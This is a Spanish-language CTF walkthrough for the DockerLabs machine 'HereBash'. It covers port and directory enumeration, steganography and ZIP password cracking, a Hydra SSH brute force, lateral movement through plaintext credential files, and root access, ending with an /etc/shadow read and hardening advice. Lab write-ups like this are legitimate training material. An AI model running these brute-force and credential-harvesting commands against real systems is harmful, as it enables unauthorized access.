Skip to content

HereBash

This content is not available in your language yet.

Este documento detalla la metodología y procedimiento completo para comprometer la máquina HereBash, desarrollada por firstatack para DockerLabs y clasificada con dificultad Media. Esta máquina presenta un escenario de escalada progresiva a través de múltiples usuarios, utilizando técnicas de esteganografía, análisis forense digital y enumeración sistemática de archivos.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios web y descubrimiento de archivos ocultos en imágenes.
  2. Explotación: Extracción de información mediante esteganografía y ataque de fuerza bruta dirigido.
  3. Escalada de privilegios: Progresión secuencial a través de múltiples usuarios mediante enumeración de archivos y análisis de configuraciones.

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando un escenario realista donde información sensible está oculta en múltiples capas.


AtributoValor
NombreHereBash
Autorfirstatack
DificultadMedio
Fecha20/06/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y lo desplegamos:

Ventana de terminal
unzip HereBash.zip
sudo bash auto_deploy.sh HereBash.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p HereBash/{content,exploits,nmap,gobuster,scripts}
cd HereBash

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 2: Servicios expuestos en la máquina

Realizamos un escaneo exhaustivo de directorios:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Resultado del escaneo

Figura 3: Directorios y archivos descubiertos

  1. /index — Página principal por defecto de Apache

    Ventana de terminal
    curl -s http://172.17.0.2/
  2. /uploads — Directorio con permisos de lectura

    Ventana de terminal
    curl -s http://172.17.0.2/uploads/

    Accesible públicamente, contiene archivos subidos

  3. /scripts/put.js — Archivo JavaScript que responde a peticiones PUT

    Ventana de terminal
    curl -X PUT http://172.17.0.2/scripts/put.js

    Devuelve el mensaje “spongebob”

  4. /spongebob/upload/ohnorecallwin.jpg — Imagen con posible contenido oculto

    Ventana de terminal
    wget http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg

3.1 Análisis de Imagen para Esteganografía

Sección titulada «3.1 Análisis de Imagen para Esteganografía»

Procedemos a analizar la imagen descargada:

Ventana de terminal
# Verificamos metadatos
exiftool ohnorecallwin.jpg
# Verificamos strings visibles
strings ohnorecallwin.jpg | head -20
# Probamos con steghide
steghide info ohnorecallwin.jpg

Hallazgo: La imagen contiene datos embebidos protegidos con contraseña.

3.2 Ataque de Fuerza Bruta a Esteganografía

Sección titulada «3.2 Ataque de Fuerza Bruta a Esteganografía»

Utilizamos stegseek para crackear la contraseña:

Ventana de terminal
stegseek --crack ohnorecallwin.jpg /usr/share/wordlists/rockyou.txt

Resultado: Contraseña encontrada y archivo extraído como ohnorecallwin.jpg.out

El archivo extraído parece ser un ZIP comprimido:

Ventana de terminal
file ohnorecallwin.jpg.out

Salida: ohnorecallwin.jpg.out: Zip archive data

Extraemos el hash y utilizamos John the Ripper:

Ventana de terminal
# Extraemos hash del ZIP
zip2john ohnorecallwin.jpg.out > zip_hash.txt
# Ataque de fuerza bruta
john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt

Resultado de John

Figura 4: Contraseña del ZIP crackeada

Descomprimimos el archivo con la contraseña obtenida:

Ventana de terminal
unzip -P 'frodo' ohnorecallwin.jpg.out

Contenido extraído: secreto.txt con una contraseña.

Con la contraseña descubierta, realizamos un ataque para encontrar el usuario correspondiente:

Ventana de terminal
# Creamos/descargamos lista de usuarios comunes
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/xato-net-10-million-usernames.txt
# Ataque con Hydra
hydra -L xato-net-10-million-usernames-dup.txt -p 'frodo' -t 64 ssh://172.17.0.2 -I -f

Resultado de Hydra

Figura 5: Usuario SSH encontrado

Credenciales obtenidas: rosa:frodo

Nos conectamos al sistema mediante SSH:

Ventana de terminal
ssh rosa@172.17.0.2

Conexión SSH exitosa

Figura 6: Acceso SSH como usuario rosa


Comenzamos la enumeración del usuario actual:

Ventana de terminal
whoami
id
pwd
ls -la

Descubrimos un directorio con nombre inusual:

Ventana de terminal
ls -la

Directorio especial

Figura 7: Directorio llamado ”-” en el home de rosa

Accedemos al directorio (nota: ”—” separa opciones de argumentos):

Ventana de terminal
cd ./-
ls -la

Encontramos el script creararch.sh que genera múltiples archivos con formato específico:

Ventana de terminal
cat creararch.sh

4.2.2 Búsqueda de Anomalías en los Archivos

Sección titulada «4.2.2 Búsqueda de Anomalías en los Archivos»

Buscamos archivos que no sigan el patrón esperado:

Ventana de terminal
# Buscamos archivos que NO contengan el patrón
find . -type f -exec grep -L 'xxxxxx:xxxxxx' {} \;

Archivo diferente encontrado

Figura 8: Archivo que contiene credenciales diferentes

Ventana de terminal
cat ./4pEjZ3

Credenciales encontradas: pedro:alicia

Ventana de terminal
su pedro
# Contraseña: alicia

Acceso como pedro

Figura 9: Shell como usuario pedro

Ventana de terminal
whoami
pwd
ls -la

Encontramos un archivo oculto con nombre inusual:

Ventana de terminal
ls -la
cat .../.misecreto

Pista en .misecreto

Figura 10: Pista sobre ubicación de credenciales de juan

Buscamos archivos propiedad del usuario actual fuera del home:

Ventana de terminal
find / -user pedro 2>/dev/null | head -20

Resultado de búsqueda

Figura 11: Archivo con credenciales de juan encontrado

Ventana de terminal
cat /var/mail/.pass_juan

Credenciales encontradas: juan:p4t4t4s

Ventana de terminal
su juan
# Contraseña: p4t4t4s

Acceso como juan

Figura 12: Shell como usuario juan

Ventana de terminal
whoami
pwd
ls -la

Encontramos un archivo con instrucciones:

Ventana de terminal
cat .ordenes_nuevas

Contenido de .ordenes_nuevas

Figura 13: Instrucciones sobre ubicación de password root

4.4.3 Búsqueda en Archivos de Configuración

Sección titulada «4.4.3 Búsqueda en Archivos de Configuración»

Revisamos archivos de configuración de shell comunes:

Ventana de terminal
# Revisamos .bashrc
cat ~/.bashrc
# Revisamos .profile
cat ~/.profile
# Revisamos otros archivos comunes
ls -la ~/.bash*

Encontramos las credenciales en .bashrc:

Ventana de terminal
grep -i "eljefe\|password\|pass" ~/.bashrc

Credenciales en .bashrc

Figura 14: Credenciales root encontradas en .bashrc

Credenciales encontradas: root:eljefe123

Ventana de terminal
su root
# Contraseña: eljefe123

Acceso root exitoso

Figura 15: Shell como usuario root

Ventana de terminal
id
whoami
cat /etc/shadow | head -1

VulnerabilidadSeveridadImpactoCWE/Referencia
Contenido sensible en imágenes sin protección adecuadaAltaExposición de credencialesCWE-312
Archivos ZIP con contraseñas débilesMediaAcceso a información sensibleCWE-521
Contraseñas SSH débiles y predeciblesAltaAcceso inicial al sistemaCWE-521
Archivos con credenciales en texto planoCríticaEscalada horizontal de privilegiosCWE-312
Credenciales en archivos de configuración de shellAltaEscalada vertical a rootCWE-312
Permisos de archivo inadecuados en /var/mailMediaExposición de información entre usuariosCWE-276
  1. Gestión de Esteganografía y Archivos Ocultos:

    • Implementar escaneo de imágenes para contenido oculto
    • Utilizar herramientas como steghide con contraseñas fuertes
    • Educar a usuarios sobre riesgos de ocultar información en imágenes
    • Establecer políticas para compartir información sensible
  2. Protección de Archivos ZIP:

    • Utilizar contraseñas complejas (mínimo 12 caracteres, mezcla de tipos)
    • Implementar cifrado AES-256 en archivos comprimidos
    • Considerar cifrado de disco completo en lugar de archivos individuales
    Ventana de terminal
    # Ejemplo de ZIP seguro
    zip -e -P 'C0mpl3xP@ssw0rd!' -r archivo_seguro.zip directorio/
  3. Gestión de Credenciales SSH:

    • Deshabilitar autenticación por contraseña, usar claves SSH
    • Implementar autenticación multifactor
    • Utilizar fail2ban para proteger contra fuerza bruta
    • Rotar credenciales regularmente
    Ventana de terminal
    # Configuración SSH segura en /etc/ssh/sshd_config
    PasswordAuthentication no
    PermitRootLogin no
    MaxAuthTries 3
  4. Protección de Archivos con Credenciales:

    • Evitar almacenar credenciales en texto plano
    • Utilizar sistemas de gestión de secretos
    • Implementar permisos estrictos (600 para archivos sensibles)
    • Utilizar cifrado para datos en reposo
    Ventana de terminal
    # Permisos correctos para archivos sensibles
    chmod 600 /var/mail/.pass_juan
    chown root:root /var/mail/.pass_juan
  5. Hardening de Archivos de Configuración:

    • No almacenar credenciales en .bashrc, .profile, etc.
    • Utilizar variables de entorno seguras
    • Implementar controles de integridad de archivos
    • Educar a usuarios sobre seguridad de archivos de configuración
    Ventana de terminal
    # Mejor práctica: usar variables de entorno
    export DB_PASSWORD=$(cat /path/to/secure/password/file)
  6. Monitoreo y Auditoría:

    • Implementar logging de cambios en archivos sensibles
    • Configurar alertas para intentos de acceso no autorizado
    • Realizar auditorías periódicas de permisos de archivos
    • Monitorear actividad de usuarios con privilegios
    Ventana de terminal
    # Configuración de auditoría con auditd
    auditctl -w /etc/passwd -p wa -k user_accounts
    auditctl -w /etc/shadow -p wa -k user_passwords
  7. Concienciación y Capacitación:

    • Capacitar a usuarios sobre higiene de contraseñas
    • Establecer políticas de seguridad de información
    • Realizar ejercicios de pentesting interno
    • Implementar programas de bug bounty